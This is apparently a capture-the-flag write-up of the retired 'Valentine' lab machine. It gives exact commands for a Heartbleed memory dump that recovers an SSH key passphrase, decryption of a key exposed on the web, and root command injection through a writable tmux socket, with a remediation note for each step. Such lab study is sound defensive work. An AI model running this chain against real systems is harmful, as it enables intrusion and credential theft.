jperezduerto.info
Valentine
Linux· Easy
Summary
My found an HTTPS service running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160) and a web endpoint that openly served an encrypted SSH private key. By flooding the server with malformed TLS heartbeat requests, I accumulated roughly 1 MB of leaked process memory until a base64-encoded passphrase appeared in the dump.
Combining that passphrase with the downloaded key gave me an SSH session as the local user 'hype'. A root-owned tmux session had left its control socket at a path the 'hype' account could write to, allowing direct command injection into a root shell and completing the full compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissancePort scanning / web content discovery
Discovered open HTTPS service and web-exposed SSH private key
A port scan revealed SSH on 22 and a web server on ports 80 and 443. Browsing the HTTPS service and probing common paths uncovered the endpoint /dev/hype_key, which returned a hex-encoded, AES-128-CBC password-encrypted RSA private key — the login credential for the system account 'hype' — with no authentication required to download it.
Curl -sk https://$TARGET/dev/hype_key returns hex output whose first decoded bytes read 'BEGIN RSA PRIVATE KEY' with a 'Proc-Type: 4,ENCRYPTED' header.
Exact commands 2
Service version and default script scan.
nmap -sV -sC -p 22,80,443 $TARGETConfirm the endpoint returns hex-encoded private key material.
curl -sk https://$TARGET/dev/hype_key | head -5FixRemove private key material from web-accessible pathsCritical
WeaknessA password-protected RSA private key for the 'hype' account was served publicly at /dev/hype_key over HTTPS with no authentication. Any visitor could download the full key file. Once the matching passphrase was obtained (here via Heartbleed), the key unlocked direct SSH access to the system.
FixImmediately remove all private key files, certificates, and any credential material from directories served by the web application. Private keys must reside in non-web-accessible locations (e.g., /etc/ssh/, /home/<user>/.ssh/) with permissions set to 600 and ownership restricted to the service account. Audit the web server's document root and all virtual-host configurations to confirm no files under paths such as /dev, /etc, /root, or /home are reachable via HTTP/HTTPS.
2Vulnerability identificationHeartbleed / CVE-2014-0160 detection
Confirmed Heartbleed on the HTTPS service
The server was running an unpatched OpenSSL version in the 1.0.1 – 1.0.1f range, which contains the Heartbleed bug. An nmap script confirmed that a single unauthenticated TLS heartbeat request causes the server to echo up to 64 KB of its own live heap memory back to the caller.
Nmap ssl-heartbleed script returned VULNERABLE; operator log records 'HTTPS (Vulnerable to Heartbleed)'.
Exact commands 1
Confirms CVE-2014-0160 is exploitable — look for 'VULNERABLE' in output.
nmap --script ssl-heartbleed -p 443 $TARGETFixUpgrade OpenSSL to eliminate the Heartbleed vulnerabilityCritical
WeaknessThe server ran OpenSSL 1.0.1 through 1.0.1f, which contains the Heartbleed bug (CVE-2014-0160). An unauthorised user on the internet can send a malformed TLS heartbeat and receive up to 64 KB of live server memory — including private keys, session tokens, and passwords — per request, with no logging and no user interaction required.
FixUpgrade OpenSSL to 1.0.1g or any later release (all current Linux distributions ship a fixed version). After patching: (1) regenerate the TLS certificate and private key for every service that ran on the affected server; (2) revoke the old certificate; (3) rotate any passwords, API keys, or session secrets that were loaded into that server's memory while it was vulnerable.
3Credential accessHeartbleed heap memory disclosure (CVE-2014-0160)
Exploited Heartbleed to steal the key passphrase from server memory
By sending hundreds of malformed heartbeat requests I accumulated roughly 983 KB of server heap data. Searching the dump for printable strings revealed the literal value '$text=[REDACTED: recovered credential]', which base64-decodes to '[REDACTED: recovered credential]' — the passphrase protecting the RSA private key found in step 1. This passphrase was in memory because it had recently been typed or processed on the server.
Heap dump /tmp/valentine_heartbleed.bin (983040 bytes) contained the literal string; base64 -d yields '[REDACTED: recovered credential]'.
Exact commands 3
Any public Heartbleed PoC works (e.g. Github.com/mpgn/heartbleed-PoC). Repeat probes to accumulate enough heap data.
python2 heartbleed.py -n 100 $TARGET > /tmp/valentine_heartbleed.binLocate the base64-encoded passphrase in the dump.
strings /tmp/valentine_heartbleed.bin | grep 'text='Decode to plaintext: [REDACTED: recovered credential]
echo '$PASSWORD2' | base64 -d4Credential accessSSH key recovery and offline decryption
Downloaded, decoded, and decrypted the exposed SSH private key
The hex-encoded key from /dev/hype_key was piped through xxd to reconstruct the PEM file. The passphrase stolen from the Heartbleed dump was then used with OpenSSL to strip the AES-128-CBC encryption layer, producing a usable unencrypted RSA private key file ready for authentication.
Curl of /dev/hype_key | xxd -r -p produces a valid PEM; openssl rsa with the recovered passphrase succeeds with 'writing RSA key'.
Exact commands 2
Retrieve the key and convert hex to binary PEM.
curl -sk https://$TARGET/dev/hype_key | xxd -r -p > /tmp/hype_key.pem && chmod 600 /tmp/hype_key.pemStrip the passphrase using the value recovered from Heartbleed.
openssl rsa -in /tmp/hype_key.pem -out /tmp/hype_key_nopass.pem -passin pass:$PASSWORD5Initial accessSSH authentication with stolen private key (T1078.003)
Authenticated via SSH as 'hype' and captured the user flag
With the decrypted key I connected to the SSH daemon as user 'hype'. The daemon accepted the legacy RSA key algorithm without additional factors, granting an interactive shell under a regular user account and access to the user flag.
Kill-chain foothold command returned uid=1000(hype); /home/hype/user.txt was readable.
Exact commands 1
Output confirms uid=1000(hype) and prints <user.txt>.
ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET 'id; cat /home/hype/user.txt'6Privilege escalationPrivileged tmux socket hijacking
Hijacked a root-owned tmux session to gain full control
The system had a tmux session running as root whose Unix socket was stored at /.devs/dev_sess with permissions that allowed the 'hype' account to attach. I used tmux's send-keys subcommand to inject shell commands into the root session without ever needing to crack a password or exploit a kernel vulnerability, immediately executing as root and reading the root flag.
Kill-chain privilege-escalation command 'tmux -S /.devs/dev_sess send-keys ...' succeeded; output captured from the root session included uid=0(root) and root.txt content.
Exact commands 2
Confirm the dev_sess socket exists and is accessible to hype.
ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET 'ls -la /.devs/'Inject commands into the root tmux session. Output shows uid=0(root) and <root.txt>.
ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET "tmux -S /.devs/dev_sess send-keys 'id; cat /root/root.txt' C-m; sleep 1; tmux -S /.devs/dev_sess capture-pane; tmux -S /.devs/dev_sess save-buffer -"FixRestrict privileged tmux session socket permissionsHigh
WeaknessA tmux session running as root stored its Unix domain socket at /.devs/dev_sess with file permissions permitting the unprivileged user 'hype' to attach and write to it. Sending keystrokes to a root tmux session is functionally identical to running commands as root — no password, no sudo, no exploit needed.
FixEnsure tmux sockets for privileged sessions are created with restrictive permissions (mode 700 or tighter, owned by root). Never place privileged sockets in directories readable by ordinary users. As a broader practice, avoid leaving long-running root shells in background tmux sessions on production or internet-facing hosts; use proper service management (systemd) for persistent processes that need elevated privileges.
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.